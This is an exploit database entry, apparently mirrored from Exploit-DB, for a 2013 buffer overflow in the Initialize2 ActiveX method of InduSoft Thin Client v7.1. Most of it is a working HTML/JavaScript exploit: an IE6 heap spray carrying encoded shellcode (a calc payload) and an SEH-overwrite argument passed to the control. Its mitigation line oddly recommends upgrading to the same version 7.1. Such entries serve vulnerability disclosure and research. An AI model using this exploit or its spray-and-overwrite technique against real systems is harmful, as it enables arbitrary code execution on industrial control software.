InduSoft Thin Client v7.1

vendor:

InduSoft Thin Client

by:

Blake

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: InduSoft Thin Client

Affected Version From: 7.1

Affected Version To: 7.1

Patch Exists: Yes

Related CWE: N/A

CPE: a:indusoft:indusoft_thin_client:7.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 / IE6

2013

A buffer overflow vulnerability exists in InduSoft Thin Client v7.1 due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability by supplying a specially crafted argument to the Initialize2 function of the novapi7.dll library. This can result in arbitrary code execution in the context of the application.

Mitigation:

Upgrade to the latest version of InduSoft Thin Client v7.1

Source

Exploit-DB raw data:

<html>
<!--
InduSoft Thin Client v7.1
Date: October 8, 2013
Exploit Author: Blake
Software Link: http://www.indusoft.com/Products-Downloads/Download-Library
Version: 7.1
Tested on: Windows XP SP3 / IE6

Affected File:i386\novapi7.dll
Member Name: Initialize2
Program ID: NovaPdfOptions
Prototype: Sub Initialize2 ( ByVal p_wsPrinterName As String ,  ByVal p_wsUserName As String ,  ByVal p_wsLicenseKey As String ,  ByVal p_wsApplicationName As String )
-->

<object classid='clsid:0FAB2D9D-DC57-4C4F-939C-38C5382D71BA' id='target' ></object>
<script>

// heap spray for IE6
// calc - 196 bytes
var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;

var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x50000) block = block + block + fillblock;

var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

alert("Spray finished, ready to trigger the crash");

buffer = "";
while(buffer.length < 262) buffer+="A";
next_seh = "BB";
seh = unescape("%u0606%u0606");
junk = "";
while(junk.length < 8740) junk+="D";

var arg2="defaultV";
var arg3="defaultV";
var arg4="defaultV";

var arg1=buffer + next_seh + seh + junk;

target.Initialize2(arg1,arg2,arg3,arg4); 

</script>